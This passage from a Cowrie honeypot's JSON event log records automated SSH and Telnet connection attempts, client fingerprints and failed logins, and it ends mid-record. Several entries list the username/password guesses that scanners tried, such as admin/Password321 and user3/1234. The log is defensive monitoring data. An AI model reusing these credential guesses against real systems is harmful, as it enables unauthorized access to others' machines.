{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":42434,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c4bed40477f","protocol":"ssh","message":"New connection: 14.224.213.222:42434 (10.17.0.5:22) [session: 4c4bed40477f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:18:37.043232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:18:37.060544Z","src_ip":"14.224.213.222","session":"4c4bed40477f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:18:37.316267Z","src_ip":"14.224.213.222","session":"4c4bed40477f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anggit","password":"anggit","message":"login attempt [anggit/anggit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:18:38.331431Z","src_ip":"14.224.213.222","session":"4c4bed40477f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:18:39.580559Z","src_ip":"14.224.213.222","session":"4c4bed40477f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.1.175.63","src_port":47873,"dst_ip":"159.203.135.109","dst_port":23,"session":"3be3fea0d45a","protocol":"telnet","message":"New connection: 106.1.175.63:47873 (159.203.135.109:23) [session: 3be3fea0d45a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:04.624517Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.1.175.63","src_port":47866,"dst_ip":"159.203.135.109","dst_port":23,"session":"8509cded011a","protocol":"telnet","message":"New connection: 106.1.175.63:47866 (159.203.135.109:23) [session: 8509cded011a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:04.630887Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":46022,"dst_ip":"10.17.0.5","dst_port":22,"session":"f26a3d30b546","protocol":"ssh","message":"New connection: 14.224.213.222:46022 (10.17.0.5:22) [session: f26a3d30b546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:39.109373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:39.114455Z","src_ip":"14.224.213.222","session":"f26a3d30b546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:39.351959Z","src_ip":"14.224.213.222","session":"f26a3d30b546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.11","src_port":39868,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff877f58c0a9","protocol":"ssh","message":"New connection: 31.57.216.11:39868 (10.17.0.5:22) [session: ff877f58c0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:40.273401Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:40.279014Z","src_ip":"31.57.216.11","session":"ff877f58c0a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"Password","message":"login attempt [testuser/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:40.321051Z","src_ip":"14.224.213.222","session":"f26a3d30b546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.11","src_port":39874,"dst_ip":"10.17.0.5","dst_port":22,"session":"87a48a5b7e87","protocol":"ssh","message":"New connection: 31.57.216.11:39874 (10.17.0.5:22) [session: 87a48a5b7e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:40.509103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:40.513515Z","src_ip":"31.57.216.11","session":"87a48a5b7e87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:40.616738Z","src_ip":"31.57.216.11","session":"87a48a5b7e87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"1234","message":"login attempt [user3/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:40.965698Z","src_ip":"31.57.216.11","session":"87a48a5b7e87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:41.572868Z","src_ip":"14.224.213.222","session":"f26a3d30b546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.01678466796875,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:41.647570Z","src_ip":"106.1.175.63","session":"8509cded011a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:42.072569Z","src_ip":"31.57.216.11","session":"87a48a5b7e87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.61870503425598,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:19:51.243103Z","src_ip":"106.1.175.63","session":"3be3fea0d45a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51936,"dst_ip":"159.203.135.109","dst_port":22,"session":"560ee71d4f3a","protocol":"ssh","message":"New connection: 193.32.162.145:51936 (159.203.135.109:22) [session: 560ee71d4f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:20:37.459816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:20:37.465209Z","src_ip":"193.32.162.145","session":"560ee71d4f3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:20:37.565372Z","src_ip":"193.32.162.145","session":"560ee71d4f3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sollet","message":"login attempt [sol/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:20:37.870994Z","src_ip":"193.32.162.145","session":"560ee71d4f3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:20:38.973289Z","src_ip":"193.32.162.145","session":"560ee71d4f3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":51194,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b19193e51c4","protocol":"ssh","message":"New connection: 14.224.213.222:51194 (10.17.0.5:22) [session: 1b19193e51c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:20:42.969872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:20:42.975106Z","src_ip":"14.224.213.222","session":"1b19193e51c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:20:43.221580Z","src_ip":"14.224.213.222","session":"1b19193e51c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass123456789","message":"login attempt [ubuntu/pass123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:20:44.231969Z","src_ip":"14.224.213.222","session":"1b19193e51c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:20:45.476423Z","src_ip":"14.224.213.222","session":"1b19193e51c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":52390,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f499298b956","protocol":"ssh","message":"New connection: 190.244.39.224:52390 (10.17.0.5:22) [session: 1f499298b956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:21:03.403250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:21:03.411000Z","src_ip":"190.244.39.224","session":"1f499298b956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:21:03.609600Z","src_ip":"190.244.39.224","session":"1f499298b956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user5","password":"user5","message":"login attempt [user5/user5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:21:04.407896Z","src_ip":"190.244.39.224","session":"1f499298b956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:21:05.613917Z","src_ip":"190.244.39.224","session":"1f499298b956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":45512,"dst_ip":"10.17.0.5","dst_port":22,"session":"b496da515868","protocol":"ssh","message":"New connection: 14.224.213.222:45512 (10.17.0.5:22) [session: b496da515868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:21:48.391448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:21:48.396893Z","src_ip":"14.224.213.222","session":"b496da515868","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:21:48.642143Z","src_ip":"14.224.213.222","session":"b496da515868","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password321","message":"login attempt [admin/Password321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:21:49.645068Z","src_ip":"14.224.213.222","session":"b496da515868","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:21:50.891171Z","src_ip":"14.224.213.222","session":"b496da515868","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.245.253.121","src_port":28052,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c43ef8cc712","protocol":"telnet","message":"New connection: 165.245.253.121:28052 (159.203.135.109:23) [session: 4c43ef8cc712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:09.863509Z"}
{"eventid":"cowrie.session.closed","duration":0.004834413528442383,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:09.868230Z","src_ip":"165.245.253.121","session":"4c43ef8cc712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":29742,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc83aaee5916","protocol":"ssh","message":"New connection: 194.59.206.2:29742 (159.203.135.109:22) [session: bc83aaee5916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:11.834836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:22:11.860343Z","src_ip":"194.59.206.2","session":"bc83aaee5916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-d